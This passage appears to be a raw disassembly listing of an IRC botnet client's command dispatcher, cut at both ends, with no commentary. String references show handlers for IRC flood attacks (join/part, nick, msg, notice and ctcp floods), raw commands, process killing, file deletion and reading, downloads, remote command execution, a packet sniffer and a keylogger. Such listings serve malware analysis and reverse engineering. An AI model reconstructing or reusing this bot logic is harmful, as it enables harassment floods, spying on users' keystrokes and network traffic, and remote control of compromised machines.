80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42BCA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F7 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset word_40B8A2 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404BE7 loc_404BD1: ; CODE XREF: sub_401ACD+3118j cmp [ebp+var_13DC], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_404BD1 ; --------------------------------------------------------------------------- loc_404BE7: ; CODE XREF: sub_401ACD+3102j nop call near ptr 2680ABEh push eax push offset unk_42BC68 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_404BF8: ; CODE XREF: sub_401ACD+3037j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C1 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C1 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409779 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409779 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DF nop call near ptr 2690AA5h push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFE cmp [ebp+esi+var_80], ebx jz short loc_404CFE push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A60 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42BC00 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_404CFE: ; CODE XREF: sub_401ACD+31BAj ; sub_401ACD+31C0j ... push [ebp+arg_10] push offset dword_42BBFC call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D6A mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D6A push offset asc_42D124 ; " " push offset dword_42BBF8 push eax call sub_417EEF push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBE8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404D6A: ; CODE XREF: sub_401ACD+3242j ; sub_401ACD+324Dj push [ebp+arg_10] push offset dword_42BBE4 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD6 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD6 push offset asc_42D124 ; " " push offset dword_42BBF8 push eax call sub_417EEF push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBD0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404DD6: ; CODE XREF: sub_401ACD+32AEj ; sub_401ACD+32B9j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E42 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E42 push offset asc_42D124 ; " " push offset dword_42BBF8 push eax call sub_417EEF push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404E42: ; CODE XREF: sub_401ACD+331Aj ; sub_401ACD+3325j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAE mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAE push offset asc_42D124 ; " " push offset dword_42BBF8 push eax call sub_417EEF push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404EAE: ; CODE XREF: sub_401ACD+3386j ; sub_401ACD+3391j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EED mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EED push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404EED: ; CODE XREF: sub_401ACD+33F2j ; sub_401ACD+33FDj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2C push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404F2C: ; CODE XREF: sub_401ACD+3431j ; sub_401ACD+343Cj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F70 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F70 push offset dword_427638 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_404F70: ; CODE XREF: sub_401ACD+3470j ; sub_401ACD+347Bj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE9 cmp [ebp+esi+var_88], ebx jz short loc_404FE9 call near ptr 2690AA5h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42BB60 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_404FE9: ; CODE XREF: sub_401ACD+34B4j ; sub_401ACD+34BDj push [ebp+arg_10] push offset dword_42BB4C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405136 cmp [ebp+esi+var_88], ebx jz loc_405136 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427638 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405136: ; CODE XREF: sub_401ACD+352Dj ; sub_401ACD+353Aj push [ebp+arg_10] push offset dword_42BB48 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051D0 cmp [ebp+esi+var_88], ebx jz short loc_4051D0 nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42BB20 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 24h loc_4051D0: ; CODE XREF: sub_401ACD+367Aj ; sub_401ACD+3687j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D2 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D2 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 lea eax, [ebp+var_4BC] push eax call sub_417ADE add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_4052D2: ; CODE XREF: sub_401ACD+3714j ; sub_401ACD+3723j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405319 lea eax, [ebp+var_1808] push eax call sub_417ADE pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_405319: ; CODE XREF: sub_401ACD+3816j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405408 cmp [ebp+esi+var_88], ebx jz loc_405408 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_42763C push [ebp+esi+var_88] push offset dword_42BBE8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBE8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBE8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405408: ; CODE XREF: sub_401ACD+385Dj ; sub_401ACD+386Aj push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F7 cmp [ebp+esi+var_88], ebx jz loc_4054F7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push offset dword_42763C push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_4054F7: ; CODE XREF: sub_401ACD+394Cj ; sub_401ACD+3959j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560E cmp [ebp+esi+var_88], ebx jz loc_40560E push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BAD8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAC0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAA8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BAA8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj ; sub_401ACD+3A48j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405734 cmp [ebp+esi+var_88], ebx jz loc_405734 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BAD8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_405734: ; CODE XREF: sub_401ACD+3B52j ; sub_401ACD+3B5Fj push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40577A mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40577A push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417789 add esp, 14h loc_40577A: ; CODE XREF: sub_401ACD+3C78j ; sub_401ACD+3C83j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C4 mov edi, offset dword_4D46EC loc_405796: ; CODE XREF: sub_401ACD+3CE8j cmp dword ptr [edi-4], 1 jnz short loc_4057A9 mov eax, [edi] cmp eax, ebx jbe short loc_4057A9 push eax call dword_4CB6EC loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj ; sub_401ACD+3CD3j add edi, 210h cmp edi, offset dword_4DAE0C jl short loc_405796 cmp [ebp+var_8], ebx jnz loc_4062C4 push ebx push [ebp+var_4] push offset unk_42BA48 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_4062C4 ; --------------------------------------------------------------------------- loc_4057DF: ; CODE XREF: sub_401ACD+3196j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409759 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409759 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409732 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409732 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409712 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409712 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D6 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D6 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D6 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D6 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409528 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409528 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D6 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D6 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BD push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BD push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948F push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948F push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409472 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409472 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409407 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409407 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D7 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D7 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409378 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409378 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933C push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933C push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925D push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925D push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923B push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923B push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409147 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409147 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409110 push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409110 push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A6 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A6 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409029 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409029 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7C push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C42 push 20h call sub_40B33F test eax, eax pop ecx jle short loc_405B6C push offset dword_42B94C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405B6C: ; CODE XREF: sub_401ACD+4093j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAE mov esi, offset aF_1 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAE mov esi, [ebp+var_88] loc_405BAE: ; CODE XREF: sub_401ACD+40C3j ; sub_401ACD+40D9j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B91C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset word_411FD6 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405C31 loc_405C1B: ; CODE XREF: sub_401ACD+4162j cmp [ebp+var_E34], ebx jnz loc_40828C push 32h call near ptr 2680000h nop jmp short loc_405C1B ; --------------------------------------------------------------------------- loc_405C31: ; CODE XREF: sub_401ACD+414Cj call near ptr 2680ABEh nop push eax push offset dword_42B8E0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C42: ; CODE XREF: sub_401ACD+4083j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 20h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405C72 push eax push offset dword_42B8A4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C72: ; CODE XREF: sub_401ACD+4198j push offset dword_42B878 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405C7C: ; CODE XREF: sub_401ACD+406Cj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCE push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D94 push 21h call sub_40B33F test eax, eax pop ecx jle short loc_405CBE push offset unk_42B850 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405CBE: ; CODE XREF: sub_401ACD+41E5j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405D00 mov esi, offset aF_1 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405D00 mov esi, [ebp+var_88] loc_405D00: ; CODE XREF: sub_401ACD+4215j ; sub_401ACD+422Bj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B820 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412661 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405D83 loc_405D6D: ; CODE XREF: sub_401ACD+42B4j cmp [ebp+var_F5C], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_405D6D ; --------------------------------------------------------------------------- loc_405D83: ; CODE XREF: sub_401ACD+429Ej nop call near ptr 2680ABEh push eax push offset unk_42B7E4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405D94: ; CODE XREF: sub_401ACD+41D5j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 21h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405DC4 push eax push offset unk_42B7A4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405DC4: ; CODE XREF: sub_401ACD+42EAj push offset unk_42B774 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405DCE: ; CODE XREF: sub_401ACD+41BEj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA3 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E69 push 2 call sub_40B33F test eax, eax pop ecx jle short loc_405E0C push offset dword_42B74C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405E0C: ; CODE XREF: sub_401ACD+4333j lea eax, [ebp+var_2C4] push offset dword_42B720 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FD push ebx push ebx call near ptr 2680098h nop imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz loc_40828C nop call near ptr 2680ABEh push eax push offset dword_42B6EC jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E69: ; CODE XREF: sub_401ACD+4327j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 2 call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405E99 push eax push offset dword_42B6B4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E99: ; CODE XREF: sub_401ACD+43BFj push offset dword_42B694 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405EA3: ; CODE XREF: sub_401ACD+4310j push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406020 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F19 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F19 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 23h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405F0F push eax push offset dword_42B648 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405F0F: ; CODE XREF: sub_401ACD+4435j push offset dword_42B61C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F19: ; CODE XREF: sub_401ACD+4401j ; sub_401ACD+4410j push 23h call sub_40B33F test eax, eax pop ecx jle short loc_405F2F push offset dword_42B5FC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F2F: ; CODE XREF: sub_401ACD+4456j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5C mov [ebp+var_BD0], 1 jmp short loc_405F65 ; --------------------------------------------------------------------------- loc_405F5C: ; CODE XREF: sub_401ACD+4481j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F65: ; CODE XREF: sub_401ACD+448Dj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8C mov esi, offset aF_0 ; "#f" push offset dword_43D808 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8C mov esi, [ebp+var_88] loc_405F8C: ; CODE XREF: sub_401ACD+44A1j ; sub_401ACD+44B7j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B5D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset byte_411CF5 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx 